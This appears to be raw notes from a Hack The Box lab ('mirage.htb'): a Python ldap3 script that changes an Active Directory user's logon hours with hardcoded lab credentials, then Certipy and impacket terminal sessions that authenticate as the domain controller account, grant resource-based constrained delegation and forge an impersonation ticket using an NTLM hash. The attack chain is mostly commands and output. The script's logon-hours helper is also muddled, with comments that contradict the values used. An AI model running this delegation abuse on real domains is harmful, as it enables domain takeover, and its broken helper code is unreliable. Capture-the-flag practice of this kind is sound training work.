import ldap3
from ldap3 import Server, Connection, ALL, MODIFY_REPLACE, SASL, KERBEROS
import os
def set_user_logon_hours(server_url, username, password, target_user, logon_hours):
"""
Set logon hours for an Active Directory user via LDAP using Kerberos authentication
Args:
server_url: LDAP server URL (e.g., 'ldap://dc.example.com')
username: Username for Kerberos authentication
password: Password for Kerberos authentication
target_user: Username of the user to modify
logon_hours: 21-byte array representing allowed logon hours
"""
try:
# Set up Kerberos environment (optional, may be needed depending on setup)
os.environ['KRB5_CONFIG'] = '/etc/krb5.conf' # Adjust path as needed
# Create server connection
server = Server(server_url, get_info=ALL)
# Use Kerberos/SASL authentication
conn = Connection(
server,
user=username,
password=password,
authentication=SASL,
sasl_mechanism=KERBEROS,
auto_bind=True
)
# Search for the target user
search_base = 'DC=mirage,DC=htb' # Domain: mirage.htb
search_filter = f'(sAMAccountName={target_user})'
conn.search(search_base, search_filter, attributes=['distinguishedName'])
if not conn.entries:
print(f"User {target_user} not found")
return False
user_dn = conn.entries[0].distinguishedName.value
print(f"Found user: {user_dn}")
# Modify the logonHours attribute
changes = {
'logonHours': [(MODIFY_REPLACE, [bytes(logon_hours)])]
}
success = conn.modify(user_dn, changes)
if success:
print(f"Successfully updated logon hours for {target_user}")
else:
print(f"Failed to update logon hours: {conn.result}")
conn.unbind()
return success
except Exception as e:
print(f"Error: {e}")
return False
# Example usage
if __name__ == "__main__":
# Server configuration
LDAP_SERVER = "ldap://DC01.mirage.htb"
ADMIN_USER = "mark.bbond"
ADMIN_PASS = "1day@atime"
TARGET_USER = "javier.mmarshall"
# Define logon hours: allow logon 8am - 6pm Monday to Friday
# Each byte represents hours for a day (bit 0 = midnight-1am, bit 1 = 1am-2am, etc.)
# Days: Sunday(0), Monday(1), Tuesday(2), Wednesday(3), Thursday(4), Friday(5), Saturday(6)
# Then repeat pattern for weeks 2 and 3 (total 21 bytes)
# 0xFF = 11111111 (all hours), 0x03 = 00000011, 0xFF = 11111111, etc.
# This matches the PowerShell pattern: 8am-6pm Mon-Fri
logon_hours = [255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255, 255]
# Alternative: More readable way to construct the hours
def create_logon_hours():
hours = [0] * 21 # Initialize 21 bytes (3 weeks worth)
# For each week (3 total)
for week in range(3):
base = week * 7
# Monday to Friday (days 1-5 of each week)
for day in range(1, 6): # Monday=1, Friday=5
# Set bits for 8am-6pm (hours 8-17)
# In the byte, bit position corresponds to hour
hour_byte = 0
for hour in range(8, 18): # 8am to 6pm (exclusive end)
hour_byte |= (1 << hour)
# However, AD uses a different bit arrangement
# The original PowerShell uses specific values, so let's use those
if day == 1: # Monday
hours[base + day] = 255 # 0xFF
hours[base + day + 1] = 3 # Next part
elif day in [2, 3, 4]: # Tue, Wed, Thu
hours[base + day] = 255
hours[base + day + 1] = 3
elif day == 5: # Friday
hours[base + day] = 255
hours[base + day + 1] = 3
return hours
# Use the predefined hours that match PowerShell
success = set_user_logon_hours(
LDAP_SERVER,
ADMIN_USER,
ADMIN_PASS,
TARGET_USER,
logon_hours
)
if success:
print("Logon hours updated successfully!")
else:
print("Failed to update logon hours")
certipy-ad auth -pfx dc01.pfx -dc-ip 10.129.96.62 -ldap-shell
Certipy v5.0.2 - by Oliver Lyak (ly4k)
[*] Certificate identities:
[*] SAN UPN: 'dc01$@mirage.htb'
[*] Security Extension SID: 'S-1-5-21-2127163471-3824721834-2568365109-1109'
[*] Connecting to 'ldaps://10.129.96.62:636'
[*] Authenticated to '10.129.96.62' as: 'u:MIRAGE\\DC01$'
Type help for list of commands
# add_computer plaintext plaintext123
Attempting to add a new computer with the name: plaintext$
Inferred Domain DN: DC=mirage,DC=htb
Inferred Domain Name: mirage.htb
New Computer DN: CN=plaintext,CN=Computers,DC=mirage,DC=htb
LDAPUnwillingToPerformResult - 53 - unwillingToPerform - None - 0000216D: SvcErr: DSID-031A126C, problem 5003 (WILL_NOT_PERFORM), data 0
- addResponse - None
# set_rbcd lab-dc$ plaintext$
('Error expected only one search result got %d results', 0)
# set_rbcd lab-dc$
list index out of range
# set_rbcd dc01$ Mirage-Service$
Found Target DN: CN=DC01,OU=Domain Controllers,DC=mirage,DC=htb
Target SID: S-1-5-21-2127163471-3824721834-2568365109-1000
Found Grantee DN: CN=Mirage-Service,CN=Managed Service Accounts,DC=mirage,DC=htb
Grantee SID: S-1-5-21-2127163471-3824721834-2568365109-1112
Delegation rights modified successfully!
Mirage-Service$ can now impersonate users on dc01$ via S4U2Proxy
impacket-getST -spn 'cifs/DC01.mirage.htb' -impersonate DC01$ -dc-ip 10.129.96.62 'mirage.htb'/'Mirage-Service$' -hashes :305806d84f7c1be93a07aaf40f0c7866
Impacket v0.13.0.dev0 - Copyright Fortra, LLC and its affiliated companies
[-] CCache file is not found. Skipping...
[*] Getting TGT for user
[*] Impersonating DC01$
[*] Requesting S4U2self
[*] Requesting S4U2Proxy
[*] Saving ticket in DC01$@cifs_DC01.mirage.htb@MIRAGE.HTB.ccache